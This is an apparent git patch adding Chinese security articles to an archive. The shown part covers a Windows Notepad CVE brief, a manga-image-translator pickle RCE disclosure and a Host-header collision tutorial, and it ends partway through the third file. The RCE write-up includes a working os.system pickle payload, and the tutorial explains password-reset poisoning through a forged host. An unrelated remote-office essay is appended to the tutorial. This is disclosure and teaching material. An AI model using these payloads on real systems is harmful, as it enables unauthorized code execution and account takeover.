From ee730dea6d3375979ef8aff459935ff79606f7ca Mon Sep 17 00:00:00 2001 From: test Date: Thu, 12 Feb 2026 05:27:05 +0000 Subject: [PATCH] =?UTF-8?q?CVE-2026-26215=20-=20manga-image-translator=20?= =?UTF-8?q?=E4=B8=AD=E7=9A=84=E6=9C=AA=E7=BB=8F=E8=BA=AB=E4=BB=BD=E9=AA=8C?= =?UTF-8?q?=E8=AF=81=E7=9A=84=E8=BF=9C=E7=A8=8B=E4=BB=A3=E7=A0=81=E6=89=A7?= =?UTF-8?q?=E8=A1=8C=E6=BC=8F=E6=B4=9E=E3=80=81=E6=89=8B=E6=90=93=E6=BC=8F?= =?UTF-8?q?=E6=B4=9E=EF=BC=9A4=E7=A7=8D=E6=97=A0=E5=B7=A5=E5=85=B7?= =?UTF-8?q?=E7=BB=95=E8=BF=87=E9=82=AE=E7=AE=B1=E9=AA=8C=E8=AF=81=E7=9A=84?= =?UTF-8?q?=E5=AE=9E=E6=88=98=E6=8A=80=E6=B3=95=E3=80=81Host=E5=A4=B4?= =?UTF-8?q?=E7=A2=B0=E6=92=9E=E6=BC=8F=E6=B4=9E=E6=8F=AD=E7=A7=98=EF=BC=9A?= =?UTF-8?q?=E5=A6=82=E4=BD=95=E6=92=9E=E5=87=BA=E2=80=9C=E4=B8=8D=E5=AD=98?= =?UTF-8?q?=E5=9C=A8=E2=80=9D=E7=9A=84=E7=BD=91=E7=AB=99=E3=80=81=E8=8B=B9?= =?UTF-8?q?=E6=9E=9C=E9=9B=B6=E6=97=A5=E6=BC=8F=E6=B4=9E=E9=81=AD=E6=81=B6?= =?UTF-8?q?=E6=84=8F=E5=88=A9=E7=94=A8=EF=BC=8C=E5=8F=91=E8=B5=B7=E5=A4=8D?= =?UTF-8?q?=E6=9D=82=E6=94=BB=E5=87=BB=EF=BC=8C=E7=9B=AE=E6=A0=87=E7=9B=B4?= =?UTF-8?q?=E6=8C=87=E4=B8=AA=E4=BA=BA=E7=94=A8=E6=88=B7=E3=80=81=E3=80=90?= =?UTF-8?q?=E5=B7=B2=E5=A4=8D=E7=8E=B0=E3=80=91Microsoft=20Windows=20?= =?UTF-8?q?=E8=AE=B0=E4=BA=8B=E6=9C=AC=E5=91=BD=E4=BB=A4=E6=B3=A8=E5=85=A5?= =?UTF-8?q?=E6=BC=8F=E6=B4=9E(CVE-2026-20841)=E3=80=81=E3=80=90SRC?= =?UTF-8?q?=E5=AE=9E=E6=88=98=E3=80=91=E9=80=BB=E8=BE=91=E6=BC=8F=E6=B4=9E?= =?UTF-8?q?=E3=80=81CVE-2026-20841=20-=20Windows=20=E8=AE=B0=E4=BA=8B?= =?UTF-8?q?=E6=9C=AC=E5=BA=94=E7=94=A8=E7=A8=8B=E5=BA=8F=E8=BF=9C=E7=A8=8B?= =?UTF-8?q?=E4=BB=A3=E7=A0=81=E6=89=A7=E8=A1=8C=E6=BC=8F=E6=B4=9E=E3=80=81?= =?UTF-8?q?ctfshow=20web=E5=85=A5=E9=97=A8=20=E5=91=BD=E4=BB=A4=E6=89=A7?= =?UTF-8?q?=E8=A1=8C4=E3=80=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- data.json | 10 +- ...本应用程序远程代码执行漏洞.md | 48 + ...身份验证的远程代码执行漏洞.md | 151 +++ ...:如何撞出“不存在”的网站.md | 114 +++ .../ctfshow web入门 命令执行4.md | 912 ++++++++++++++++++ doc/2026-02/【SRC实战】逻辑漏洞.md | 217 +++++ ...º‹本命令注入漏洞(CVE-2026-20841).md | 118 +++ ...工具绕过邮箱验证的实战技法.md | 146 +++ ...复杂攻击,目标直指个人用户.md | 31 + 9 files changed, 1746 insertions(+), 1 deletion(-) create mode 100644 doc/2026-02/CVE-2026-20841 - Windows 记事本应用程序远程代码执行漏洞.md create mode 100644 doc/2026-02/CVE-2026-26215 - manga-image-translator 中的未经身份验证的远程代码执行漏洞.md create mode 100644 doc/2026-02/Host头碰撞漏洞揭秘:如何撞出“不存在”的网站.md create mode 100644 doc/2026-02/ctfshow web入门 命令执行4.md create mode 100644 doc/2026-02/【SRC实战】逻辑漏洞.md create mode 100644 doc/2026-02/【已复现】Microsoft Windows 记事本命令注入漏洞(CVE-2026-20841).md create mode 100644 doc/2026-02/手搓漏洞:4种无工具绕过邮箱验证的实战技法.md create mode 100644 doc/2026-02/苹果零日漏洞遭恶意利用,发起复杂攻击,目标直指个人用户.md diff --git a/data.json b/data.json index ddc41d04..ff7054ba 100644 --- a/data.json +++ b/data.json @@ -17937,5 +17937,13 @@ "https://mp.weixin.qq.com/s/ljKfH_SRrWnYy0riPvN9bw": "漏洞复现 | 深信服运维安全管理系统 getHis 远程代码执行漏洞", "https://mp.weixin.qq.com/s/NVhjujKg9-UTNQhNIb4Z3A": "韩国加密货币交易所Bithumb因系统漏洞导致出现400亿美元转帐错误", "https://mp.weixin.qq.com/s/KbpR09jITNlCMxWn0xiAbA": "警惕!Ivanti RCE零日漏洞复盘:这是一场针对IT管理者的“外科手术式”打击", - "https://mp.weixin.qq.com/s/k3DgMIPfcvLnSo-E-gwHLQ": "扫过万千漏洞与站点,唯独对你一往情深!综合漏洞利用工具-dddd德帝版" + "https://mp.weixin.qq.com/s/k3DgMIPfcvLnSo-E-gwHLQ": "扫过万千漏洞与站点,唯独对你一往情深!综合漏洞利用工具-dddd德帝版", + "https://mp.weixin.qq.com/s/QCkCaQOOfVB1_DedE-C6Vw": "CVE-2026-26215 - manga-image-translator 中的未经身份验证的远程代码执行漏洞", + "https://mp.weixin.qq.com/s/u0i_8unHyha7-FZ_pEr-wg": "手搓漏洞:4种无工具绕过邮箱验证的实战技法", + "https://mp.weixin.qq.com/s/VPE39CO8Mtr3l9x6hvr_2Q": "Host头碰撞漏洞揭秘:如何撞出“不存在”的网站", + "https://mp.weixin.qq.com/s/v10XhK_vXI5za8YiY3951g": "苹果零日漏洞遭恶意利用,发起复杂攻击,目标直指个人用户", + "https://mp.weixin.qq.com/s/nEgpaIP8ooi2FUwhkGZRSw": "【已复现】Microsoft Windows 记事本命令注入漏洞(CVE-2026-20841)", + "https://mp.weixin.qq.com/s/i0OI52O3IorUmeCjUHvPIg": "【SRC实战】逻辑漏洞", + "https://mp.weixin.qq.com/s/-FQHkd95VMyCX3dpK-7BHQ": "CVE-2026-20841 - Windows 记事本应用程序远程代码执行漏洞", + "https://mp.weixin.qq.com/s/dyYofcD5V8k6AnIchSexEQ": "ctfshow web入门 命令执行4" } \ No newline at end of file diff --git a/doc/2026-02/CVE-2026-20841 - Windows 记事本应用程序远程代码执行漏洞.md b/doc/2026-02/CVE-2026-20841 - Windows 记事本应用程序远程代码执行漏洞.md new file mode 100644 index 00000000..20556803 --- /dev/null +++ b/doc/2026-02/CVE-2026-20841 - Windows 记事本应用程序远程代码执行漏洞.md @@ -0,0 +1,48 @@ +# CVE-2026-20841 - Windows 记事本应用程序远程代码执行漏洞 + Ots安全 2026-02-12 04:39 + +**威胁简报** + + +**恶意软件** + + +**漏洞攻击** + +近三十年来,notepad.exe 一直被视为一个简单的实用程序。它是一款基本的 Win32 文本编辑器,功能仅限于显示文本。对于一个仅用于查看数据的应用程序来说,其 CVSS 评分高达 8.8 分,这显然违背了最小权限原则。 + +该漏洞允许攻击者诱骗用户点击嵌入在记事本中打开的 Markdown 文件中的恶意链接。这样做会触发不受信任的协议,导致远程内容的下载和执行。 + +目前尚不清楚这是否是正确的 PoC 触发方法;因此,仅供参考。 +- CVE-2026-20841 - Windows notepad.exe 远程代码执行漏洞 + +条件: +- 记事本版本 < 11.2510 + +第一步 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/zNsFJyIuL0EwHjjF6xbaqX2eDZmT3uUt4ibDFUicovDW81hTrTDrqPHwuYhG7JzkEWS7sK86UrlA3xgMsZiciax6IKibFLrnegzFEeP9M3DDRSDI/640?wx_fmt=png&from=appmsg "") + +第二步 + +![](https://mmbiz.qpic.cn/mmbiz_png/zNsFJyIuL0Hk0YDV77KsRQ5TCNOMoZHCbZCl0Dfsa5ZU554cIruYrJZ44PVfNEUwXsOgdQichQCibbOxsFVUFg522ibiaPFk5nVcBFW75DKU7e8/640?wx_fmt=png&from=appmsg "") + +概念验证POC: + +https://github.com/BTtea/CVE-2026-20841-PoC + +**END** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/zNsFJyIuL0Hph6gzkSpRAEG54Owcu9QomUe73s44C2NEdgBhfrhb2KaVOCuOkntnibLVUT98pu6gm5DONBvh0eUibAsGAvlvZmfrPMo6BDWXs/640?wx_fmt=jpeg&from=appmsg "") + + +公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址 + +排版 编辑 | Ots 小安  + +采集 翻译 | Ots Ai牛马 + +公众号 |  +AnQuan7 (Ots安全) + diff --git a/doc/2026-02/CVE-2026-26215 - manga-image-translator 中的未经身份验证的远程代码执行漏洞.md b/doc/2026-02/CVE-2026-26215 - manga-image-translator 中的未经身份验证的远程代码执行漏洞.md new file mode 100644 index 00000000..6fa3a8fe --- /dev/null +++ b/doc/2026-02/CVE-2026-26215 - manga-image-translator 中的未经身份验证的远程代码执行漏洞.md @@ -0,0 +1,151 @@ +# CVE-2026-26215 - manga-image-translator 中的未经身份验证的远程代码执行漏洞 + Ots安全 2026-02-12 04:39 + +**威胁简报** + + +**恶意软件** + + +**漏洞攻击** + +介绍 + +在对 GitHub 上流行的 ML/AI 项目中的 pickle 反序列化模式进行审计时,我发现manga-image-translator中存在一个严重漏洞,这是一个广泛使用的开源漫画翻译工具,拥有 9,369 个星标。 + +两个 FastAPI 端点pickle.loads()直接调用 HTTP 请求体。它们本应受到基于 nonce 的身份验证机制保护,但该机制的默认值为空字符串(在 Python 中为 falsy),因此检查永远不会执行。结果是,在所有标准部署中都存在未经身份验证的远程代码执行 (RCE) 漏洞。 + +目标: zyddnys/manga-image-translator 星级: 9,369 严重程度:危急(CVSS 3.1:9.8) + +什么是manga-image-translator? + +manga-image-translator 是一款自动化工具,可以检测、识别和翻译漫画/连环画图像中的文本。它支持多种语言和翻译后端(GPT-4、DeepL、Google 等),可以作为 Web 服务器、命令行工具或浏览器扩展程序运行。 +> 快速浏览一下该项目的问题跟踪器,就会发现用户正在询问如何在exhentai.org 链接上使用它。至于凌晨 3 点有超过 9300 个星标的用户在翻译什么,就留给你们自己去思考吧。 + + +该项目有一种shared模式,其中 FastAPI 服务器处理翻译请求。此模式由 Web 服务器内部使用,server/main.py它会生成一个FastAPI 服务器MangaShare实例作为子进程,并通过 HTTP 协议与服务器通信,传输 pickle 序列化的有效负载。 + +漏洞 + +模式shared服务器manga_translator/mode/share.py公开了两个 POST 端点,它们从网络接收原始字节并将其直接传递给pickle.loads()。 + +端点 1 -/simple_execute/{method_name}位于第 112 行: + +``` +@app.post("/simple_execute/{method_name}")async defexecute_method(request: Request, method_name: str = Path(...)):    self.check_nonce(request)    self.check_lock()    method = self.get_fn(method_name)    attr = pickle.loads(await request.body()) # RCE here +``` + + +端点 2 -/execute/{method_name}第130 行: + +``` +@app.post("/execute/{method_name}")async defexecute_method(request: Request, method_name: str = Path(...)):    self.check_nonce(request)    self.check_lock()    method = self.get_fn(method_name)    attr = pickle.loads(await request.body()) # RCE here +``` + + +Bypass + +有一种check_nonce()方法可以控制访问权限 +: + +``` +defcheck_nonce(self, request: Request):    ifself.nonce:              # '' is falsy - this entire block is skipped        nonce = request.headers.get('X-Nonce')        if nonce != self.nonce:            raise HTTPException(401, detail="Nonce does not match") +``` + + +问题在于所有参数解析器中 nonce 的默认值都是空字符串: + +``` +# manga_translator/args.py, line144parser_api.add_argument('--nonce', default=os.getenv('MT_WEB_NONCE', ''), ...)# server/args.py, line45parser.add_argument('--nonce', default=os.getenv('MT_WEB_NONCE', ''), ...) +``` + + +由于''在 Python 中该值为假,因此if self.nonce:其值为false False,整个身份验证检查都会被跳过。该MT_WEB_NONCE环境变量从未在任何 Docker Compose 文件、Makefile 或任何部署文档中设置。所有标准部署均在未进行身份验证的情况下运行。 + +这是一个隐蔽的漏洞,因为它看起来像是启用了身份验证。代码审查人员看到check_nonce(request)调用该函数后,会误以为该端点受到保护。但实际上,你必须追踪参数的默认值,才能发现这个保护机制是无效代码。 + +概念验证 + +设置目标 + +我用从代码库克隆的真实漫画图像翻译器代码库进行了测试: + +``` +git clone https://github.com/zyddnys/manga-image-translator.gitcd manga-image-translatorpip install -r requirements.txtpython -m manga_translator shared --host 0.0.0.0 --port 5003 +``` + + +无需GPU——此pickle.loads()操作在任何机器学习推理之前执行。服务器启动于http://0.0.0.0:5003。 + +漏洞 + +``` +import pickle, os, requestsclassRCE:    def__init__(self, cmd):        self.cmd = cmd    def__reduce__(self):        return (os.system, (self.cmd,))# No X-Nonce header needed - auth is bypassedrequests.post(    'http://target:5003/simple_execute/translate',    data=pickle.dumps(RCE('id > /tmp/manga_pwned')),    headers={'Content-Type': 'application/octet-stream'},) +``` + + +结果 + +``` +$ cat /tmp/manga_pwneduid=1000(chocapikk) gid=1001(chocapikk) groups=1001(chocapikk),4(adm),24(cdrom),27(sudo),... +``` + + +两者/simple_execute/translate都可/execute/translate被利用。服务器返回 HTTP 500(反序列化int的os.system()不是有效的 kwargs 字典),但该命令已在执行期间执行pickle.loads()。 + +事先披露 + +我并非第一个发现这个问题的人。腾讯云顶安全实验室的sud0why提交了编号为 [#946]() + 的问题,报告了完全相同的 pickle 反序列化远程代码执行漏洞。该项目组六个月无人回应,之后该问题被系统自动关闭。更早的[#509和]() +[#516问题也提出了安全改进建议]() +,但均未得到解决便被关闭。 + +尽管腾讯报告了该漏洞,但此前一直没有分配 CVE 编号——直到现在:CVE-2026-26215。 + +攻击面 + +shared在所有标准配置中,模式服务器都会绑定到该服务器0.0.0.0:5003。Web 服务器(server/main.py)会在内部端口 5004 上启动它。网络上的任何人都可以访问这两个服务器。 + +该项目拥有庞大的安装基础——9369 个 star,22925 次 Docker Hub 拉取,以及一个拥有 3300 多名成员的 Discord 社区。 + +建议的修复方案 + +修复 nonce 默认值。将默认值从''更改为None,在 时自动生成随机 nonce None,并要求--nonce=disable明确不想进行身份验证的用户启用该功能。这样,不安全的配置就成为一种有意为之的选择,而不是默认设置。 + +请替换pickle.loads()为 JSON 或 MessagePack。序列化数据只是方法参数,没有必要使用 pickle。 + +将共享工作进程限制在本地主机上。server/main.py工作进程与主机之间的进程间通信shared不应暴露在外部。 + +时间线 +- 2025年5月:腾讯云鼎安全实验室(sud0why )在问题 [#946中报告了相同的漏洞——未收到回复]() +,该问题在6个月后被机器人自动关闭。 + +- 2026-02-11:通过针对真实服务器的 PoC 独立发现并确认了漏洞 + +- 2026年2月11日:已向VulnCheck提交CVE请求 + +- 2026-02-11: VulnCheck分配了CVE-2026-26215 漏洞。 + +- 2026年2月11日: 公开披露并附带补丁 + +要点总结 + +这个漏洞之所以特别突出,是因为它给人一种虚假的安全感。代码中确实存在 nonce 机制,代码审查人员会看到check_nonce(request)它的调用,然后就会忽略它。但你必须仔细查看参数默认值,才能意识到这个安全机制默认情况下是无效的。默认禁用的安全功能比没有安全功能更糟糕——它们会给人一种虚假的安全感。 + +腾讯的报告被自动关闭也说明了一些问题。sud0why在 2025 年 5 月提交了一份清晰、证据充分的远程代码执行 (RCE) 报告。六个月无人回应,然后机器人自动将其关闭。机器人无法区分“问题已解决”和“根本没人关心”。 + +**END** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/zNsFJyIuL0GQhEKmURlDeKL99M9578PjoUfmBnYxBTvzT10wpia2qAGRYK02rjrngdEqnwoU3yhhfTMuicuDIQvicK5wFk0Dz5k81kQmjVvV1k/640?wx_fmt=jpeg&from=appmsg "") + + +公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址 + +排版 编辑 | Ots 小安  + +采集 翻译 | Ots Ai牛马 + +公众号 |  +AnQuan7 (Ots安全) + diff --git a/doc/2026-02/Host头碰撞漏洞揭秘:如何撞出“不存在”的网站.md b/doc/2026-02/Host头碰撞漏洞揭秘:如何撞出“不存在”的网站.md new file mode 100644 index 00000000..ec5a054c --- /dev/null +++ b/doc/2026-02/Host头碰撞漏洞揭秘:如何撞出“不存在”的网站.md @@ -0,0 +1,114 @@ +# Host头碰撞漏洞揭秘:如何撞出“不存在”的网站 +让数据更安全 + 让数据更安全 德斯克安全小课堂 2026-02-12 02:14 + +**引言随着网络资产梳理与边界防护的常态化,内部站点正从传统扫描中“隐形”。然而,在看似严密的访问限制背后,一种通过碰撞隐藏域名与服务器IP来“无中生有”的攻击手法——Host碰撞,为渗透测试者打开了一扇隐秘的后门。HOST简介什么是HTTP协议中的HostHost是HTTP/1.1引入的一个请求头,用于指定请求的目标主机和端口号。在HTTP/1.0中,由于没有Host头,因此一个IP只能托管一个网站。在HTTP/1.1引入了Host头,服务器就可以根据不同的Host值将请求分发到不同的网站。从而允许在同一个IP和端口上托管多个网站(域名)。 比如:在浏览器访问http://test.com时,请求头中会自动添加Host: test.com。如下,我们常常使用bp抓包都会看到这样的信息:比如我们如果更改成一个不存在的host名,虽然请求还是发往localhost:8000,但是找不到host对应的域名地址了,所以服务器无法正确响应结果-这里没有做任何处理,无返回。这里的“Host”指代的是什么?HOST碰撞漏洞的语境中,Host特指HTTP请求头中的Host字段,它告诉服务器用户想要访问哪个网站。注意,它不是一个主机(服务器)实体,而是一个字符串标识。因为一个实体服务器,可以启动多个web(域名比如www.test.com),同时每一个web域名可以对应一个host。可以参考这个手把手实现Tomcat Valve内存马:从“一个应用”到“三大容器” - FreeBuf网络安全行业门户文章认识host。host它有3个层面含义:1.用户认知层面:一个域名,也是我们通常直观认为的:如www.test.com。2.协议层面:HTTP协议请求头中的Host字段。现代浏览器通常自动从URL中提取主机名并放入Host头。3.服务器层面:服务器配置中虚拟主机的标识符,用于匹配请求并返回相应域名的内容。HOST头的作用请求头作用是否可伪造在HOST碰撞中的作用Host指定请求的目标主机是核心:服务器据此选择虚拟主机Referer指示请求来源页面是次要:可用于日志分析Origin指示跨域请求的源是(有限制)通常无关X-Forwarded-Host代理转发的原始Host是备选:一些代理服务器会使用那么host在用户发起访问之后的作用是什么呢?在服务器的视角来看:当用户访问http://www.test.com,当请求到达服务器时,服务器看到的是:目标IP地址(TCP层)Host头值(应用层)其他请求信息服务器优先根据Host头选择要响应的网站,几乎不关心请求是发送到哪个IP地址的(除非特别配置)。虚拟主机技术这样就引申出了这样的一个技术:虚拟主机技术允许在一台物理服务器上运行多个网站,共享同一个IP地址。服务器根据Host头来决定由哪个网站来处理请求。比如通过tomcat的配置信息来创建虚拟主机(网站):     ServerName www.test.com     DocumentRoot /www/test       ServerName admin.internal.test.com     DocumentRoot /admin/www/admin  # 默认虚拟主机     ServerName default     DocumentRoot /www/default     # 或者拒绝访问     Redirect 403 / 当配置了虚拟主机之后,服务器就存在了多个不同域名的web了,那么当用户发起请求时,其响应流程如下:那么这样做的好处是什么呢?成本效益:减少服务器数量,降低硬件和维护成本资源共享:充分利用服务器性能管理便利:统一管理多个相关服务然而,这种便利性也带来了安全风险,特别是在配置不当的情况下。HOST碰撞的核心原理剖析内外网域名分离场景比如某公司只有一个对外的IP地址123.123.123.123 互联网固定IP地址。然而公司却有几个网站都需要发布,这时候就需要虚拟主机技术来实现了。比如:公网外部的DNS记录: www.test.com    → 123.123.123.123  api.test.com    → 123.123.123.123   公司内部DNS配置: admin.internal.test.com  → 123.123.123.123  vpn.internal.test.com    → 123.123.123.123   服务器配置(203.0.113.100): - 虚拟主机1: www.test.com(公网网站) - 虚拟主机2: admin.internal.test.com(内部后台) - 虚拟主机3: vpn.internal.test.com(VPN门户)当用户在互联网访问www.test.com 的时候,因为有正确的DNS解析,可以访问,实际就是123.123.123.123 这个具体的服务器地址。当访问admin.internal.test.com 这个网站的时候,却无法访问到,因为外部是没有DNS解析到这个域名的。相当于它是一个公司内部网站。WEB请求生命周期分解正常访问流程1.用户浏览器解析DNS:www.test.com → 123.123.123.1232.发送请求 GET / HTTP/1.1 Host: www.company.com3.服务器123.123.123.123 接收请求4.匹配虚拟主机:找到server_name为www.test.com的配置5. 返回官网内容HOST碰撞攻击流程1.用户浏览器解析DNS:www.test.com → 123.123.123.123 ,请求成功抵达123.123.123.123 服务器的tomcat容器或者Nginx容器。也可以直接通过IP进行访问,效果一样2.手动设置Host头:Host: admin.internal.test.com3.服务器203.0.113.100接收请求4.匹配虚拟主机:找到server_name为admin.internal.company.com的配置5.返回内部后台内容 ← 漏洞发生!关键点:大多数Web服务器的匹配优先级都是先尝试精确匹配Host头,所以就导致了漏洞的产生。host"碰撞"成功的关键因素域名与IP的对应关系:域名确实解析到该IP服务器配置:该域名在服务器上有对应的虚拟主机配置无有效防护:服务器没有拒绝非法Host头的访问通常通过IP资产发现技术:比如传统扫描工具,比如namp,借助搜索引,子域名枚举等发现和利用host碰撞漏洞其一般测试流程:Burp Suite测试流程配置代理和目标范围发送请求到Repeater修改Host头并发送:比较响应差异:长度差异状态码差异内容关键词差异或使用Intruder进行批量测试:攻击类型:Sniper载荷位置:Host头载荷来源:准备好的域名列表漏洞危害未授权访问内部系统,敏感信息泄露,绕过WAF/防护设备等,比如通过源IP地址访问,绕过防御设备。间接风险与攻击链拓展从HOST碰撞到内网漫游:比如通过未授权访问内部系统,碰撞出内部API网关,发现其他接口隐藏的资产.它的核心思想是:一个IP服务器上可能托管了多个网站或应用,仅通过IP地址访问时,服务器不知道你要访问哪一个,因此需要用户请求中的Host头来指定。漏洞演示环境搭建为了快速搭建环境,这里我们使用phpstudy 小皮系统,快速搭建网站。从其官网下载之后,下一步下一步安装就行了。启动之后是这样的:我们需要两个不同域名的网站,所以在网站菜单下新建一个站点:然后第二个网站的hosts,不需要同步。如果点了也不要紧,可以手动修改。然后启动apache:网站就部署好了。点击这个同步hosts目的是什么呢?首先我们要了解浏览器是如何通过域名找到对应的服务器的。域名访问的核心是DNS解析,将人类可读的域名转换为机器可读的IP地址。浏览器输入域名 → DNS解析 → 建立TCP连接 → HTTP请求 → 服务器响应如果没有这一步,那么我们输入一个自定义的域名,如果该域名在互联网上不存在,那么就无法正确解析,找不到对应的服务器。比如上面的第二个网站:无法访问。而第一个同步了hosts的呢:为什么会这样,其实在同步hosts的时候,软件帮我们做了一件事情,那就是修改了我们系统的hosts文件内容:其修改了C:\Windows\System32\drivers\etc 目录下的hosts文件:在最后一行添加了一句话:127.0.0.1 www.mytesthost.com让本地IP:127.0.0.1 解析www.mytesthost.com,那么当浏览器访问这个域名的时候,就会优先解析hosts文件中的IP,访问127.0.0.1,这样访问的就是我们自己部署的网站了,同时因为没有配置www.admin.mytesthost.com ,所以无法访问第二个网站。这样做的效果就等同于,第一个网站发布在公网,第二个网站未发布到公网,但是只对本机有效-- 模拟效果。完整的web请求过程1.浏览器缓存检查浏览器首先检查自身缓存中是否有该域名的DNS解析结果如果有且未过期,直接使用缓存的IP地址缓存时间由DNS记录的TTL(Time To Live)值决定2.操作系统缓存检查如果浏览器缓存中没有,操作系统检查本地DNS缓存3.hosts文件查询(关键步骤)系统检查hosts文件中是否有对应的域名映射如果找到匹配记录,直接使用该IP地址,不再进行后续DNS查询4.DNS服务器查询(如hosts中无记录)a.本地DNS服务器查询- 向配置的DNS服务器(如8.8.8.8、114.114.114.114)发送查询请求b.递归查询过程:本地DNS服务器 → 根DNS服务器(.) → 顶级域服务器(.com) → 权威DNS服务器(example.com) → 返回 www.example.com 的IP地址5.建立连接6.HTTP请求与响应所以上面的hosts步骤就是,让我们可以通过浏览器访问他们,并能返回正确的响应结果。解析优先级高优先级 ↓ 1. 浏览器缓存(如有) 2. hosts文件      ← 修改hosts影响这里,只影响本机,不影响其他设备 3. 系统DNS缓存 4. DNS服务器查询 低优先级 ↑漏洞演示现在开始尝试host碰撞攻击的演示,使用火狐浏览器打开第一个站点,访问正常第二个模拟的内部站点访问失败:现在使用bp抓包得到了第一个网站的请求包:那么我们在漏洞挖掘过程中,比如发现该IP地址上,可能存在其他的域名,但是又无法访问,就像现在这种情况,这时候就可以通过host碰撞的方式尝试了,可能有意外收获这时候将host的值,修改成第二个域名的值:www.admin.mytesthost.com比如这样:明显可以看到返回内容改变了,那么由此可知,已经通过host碰撞的方式,访问到了另外的服务器,已经成功绕过只能内网访问的这个限制了。接下来应该就是对目录的一些爆破了,比如可以通过爆破模块进行目录,文件爆破,从而访问内部网站的内容,当然也可以使用浏览器插件,更改host的值,这样就可以在浏览器上访问得到响应结果了。然后爆破目录,就可以得到了内部网站的内容了如下:其流程如下:1. 客户端请求 http://www.mytesthost.com/2. DNS解析得到服务器IP地址(如 127.0.0.1)3. 与服务器建立TCP连接,发送HTTP请求4. HTTP请求头中包含:伪造的Host: www.admin.mytesthost.com5. 服务器读取Host头,识别要访问的虚拟主机-已经不是最开始要抵达的目标了,到这里就是如下流程:6. 服务器找到对应虚拟主机配置,返回响应这就是为什么可以在同一台服务器、同一个IP地址上托管数百个不同域名的网站!当然也可以直接通过IP地址访问如下:同时利用host头来控制具体需要访问的哪个网站,其效果是一样的,可能在某些情况下也是一种绕过的方式。HOST头带来的安全风险基于名称的虚拟主机配置可能会带来以下风险:跨虚拟主机访问虚拟主机配置不当导致的信息泄露,比如上面的例子,host头碰撞出内部站点,从而绕过限制,直接获取内部资源,比如一些引申的问题,通过目录穿越访问其他虚拟主机的目录文件等。Host头注入攻击密码重置中毒:攻击者修改Host头,使密码重置链接指向攻击者控制的域名,从而劫持用户的密码重置令牌。 缓存投毒:攻击者向缓存代理(如CDN)发送带有恶意Host头的请求,导致缓存服务器将恶意内容缓存,并分发给其他用户。 绕过安全限制:某些应用程序可能根据Host头来限制访问,攻击者通过伪造Host头绕过限制。比如:许多应用程序依赖Host头来生成链接、重定向或进行安全验证,篡改Host头可能导致应用程序生成的链接可控,比如找回密码:利用用户名或者手机号或者邮箱找回,输入正确的信息之后,就会像用户绑定的邮箱发送一封重置密码的邮件。如果服务器是利用host名加一段随机加密字符串生成密码重置的链接:比如:www.test.com/resetpassword/page=tokenaaaaaa,如果host头可控,那么就可以生成由攻击者控制的链接,比如伪造 host:www.attack.com,那么重置密码的链接就可能是这样的www.attack.com/resetpassword/page=tokenaaaaaa,这时候攻击者在重置密码界面,通过枚举或者爆破的方式,重置用户密码,那么用户的邮箱中将会收到这个重置的邮件,但是重置链接却是攻击者控制的(www.attack.com/resetpassword/page=tokenaaaaaa),从而将用户引导至攻击者的网站。用户如果点击重置链接,那么攻击者将得到这个tokenaaaaaa,这样就可以再将正确的域名www.test.com替换回来,就可以重置该用户的密码了。主要利用方式是通过钓鱼邮件的方式向大量用户发送,只有用户点击即可接管账号。还有其他的比如Web缓存投毒攻击,利用Host头进行内部服务访问(SSRF)等攻击方式。DNS重绑定攻击DNS重绑定攻击是一种利用DNS解析机制的攻击。攻击者控制一个域名,将其DNS记录的TTL设置为很短,第一次解析返回一个合法的IP地址(例如攻击者的服务器),第二次解析返回目标服务器的内网IP地址。这样,攻击者可以绕过同源策略,通过浏览器访问到内网服务。攻击核心:利用浏览器同源策略只检查域名不检查IP的特点,结合DNS TTL过期重新解析,实现对内网的访问。漏洞挖掘建议资产发现与Host碰撞:这是当前最主要的应用。通过尝试将已知域名与大量IP进行“碰撞”,常能发现未公开的测试后台、管理界面等,为进一步测试打开突破口。多路径测试:测试时不要只改Host标头,也试试X-Forwarded-Host、X-Host等替代标头。关注重定向与链接生成:重点测试密码重置、邮件通知、OAuth授权回调、服务器端重定向等功能,这些是Host头被滥用的高发区。组合利用提升危害:单独一个可篡改的Host头可能只是低危,但如果能组合成有效的密码重置中毒、SSRF或缓存投毒,就能显著提升漏洞等级。防御思路输入验证:严格验证Host头的合法性网络隔离:管理后台等敏感系统进行网络隔离多层防御:结合WAF、应用程序防护和系统层防护结束在某些情况下,Host碰撞可以为我们打开通往内部资产的大门。当我们从其他方面无法突破时,可能这也会有其独特的价值企业远程办公场景下业务系统和数据资产安全防护** + + +## 1.引言 + +加快数字化转型是构建企业全新经济体系、实现高质量、高速发展的重要支撑。在国家十四五规划总体方针指引下,企业网络和信息化领域围绕中央网信工作决策部署及行业高质量发展目标任务,积极发挥技术、平台、数据和队伍等优势,将数字化转型所须网络安全保障工作融入行业改革发展大局,全力支撑行业疫情防控和复工复产。以数字化转型为主线,努力在生产经营管理各领域释放两化融合创新潜能,为行业高质量发展注入新动能。 + +进入后疫情时期各领域、各行业业务终端远程办公已成为一种常态化工作方式,而如何保障远程办公场景下的网络安全、数据安全、业务安全,是关系特殊时期企业数字化转型成功与否的关键因素。远程办公网络与信息安全保障任务是一个复杂性、宏观性、系统性工程,需要全面考虑业务终端主体与被访问业务系统(服务器)客体之间多个维度、多个方面、多个层面的安全及业务“双保障”问题,因此,必须形成“一盘棋”的整体战略思维,强化远程办公场景下网络与信息安全的端到端、全流程设计。确定“数字化转型”的战略目标,系统谋划远程办公场景下身份安全、网络安全、数据安全、业务安全等防护能力,对接行业云计算平台,为接入终端提供边缘智能身份识别、准入、权限控制、动态风险评估及感知服务,形成以远程接入终端身份安全为基石的“云边协同”安全能力,满足行业数字化在敏捷连接、实时业务、数据优化、应用智能、安全与隐私保护等方面的关键需求。 + +远程办公不仅仅局限在日常工作协同沟通、视频会议等场合,更体现在企业IT服务的远程开发,远程运维,远程客服,远程营销等方方面面。后疫情时代因IT技术迅速迭代而引发的移动终端办公,远程办公不应该被看做特殊时期的一种特殊的办公形式,而应将其作为面向未来工作模式的一种常态,企业必须习惯这种工作模式的“强制转变”,并做好业务系统和数据资产安全防护。 +## 2.远程办公带来的全新安全挑战 + +远程办公这种新的工作模式对网络安全带来了全新的挑战,最主要的挑战在于远程办公极大的增加了企业网络安全风险。 + 